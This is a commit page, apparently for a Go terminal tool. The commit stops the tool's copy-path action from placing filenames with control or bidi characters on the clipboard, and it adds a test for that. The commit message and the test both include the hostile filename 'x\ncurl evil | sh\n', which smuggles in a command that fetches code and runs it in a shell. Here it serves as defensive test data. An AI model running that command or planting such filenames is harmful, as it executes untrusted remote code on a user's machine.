AI codebase review
fix: refuse to copy paths containing control or bidi characters The copy-path action put raw filenames on the clipboard via OSC 52. A hostile name such as "x\ncurl evil | sh\n" (from a shared directory or a crafted snapshot) executes commands when pasted into a shell without bracketed paste. Paths that Sanitize would alter are no longer copied. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
This commit is contained in:
co-authored by
Claude Opus 5.5
parent
3ec5bd7e65
commit
1f9429ea74
@@ -480,3 +480,20 @@ func TestColourDepthsRenderSameGeometry(t *testing.T) {
|
||||
checkFrame(t, m, 100, 30)
|
||||
}
|
||||
}
|
||||
|
||||
// A filename with a newline would run commands when pasted into a shell.
|
||||
func TestCopyRefusesControlCharacters(t *testing.T) {
|
||||
m := newTestModel(t)
|
||||
m.copyPath("/srv/x\ncurl evil | sh\n")
|
||||
if !strings.HasPrefix(m.toast, "Not copied") {
|
||||
t.Fatalf("hostile path copied: %q", m.toast)
|
||||
}
|
||||
m.copyPath("/srv/media/" + hostile)
|
||||
if !strings.HasPrefix(m.toast, "Not copied") {
|
||||
t.Fatalf("escape sequence copied: %q", m.toast)
|
||||
}
|
||||
m.copyPath("/srv/photos 日本語/img001.jpg")
|
||||
if !strings.HasPrefix(m.toast, "Copied") {
|
||||
t.Fatalf("plain path refused: %q", m.toast)
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user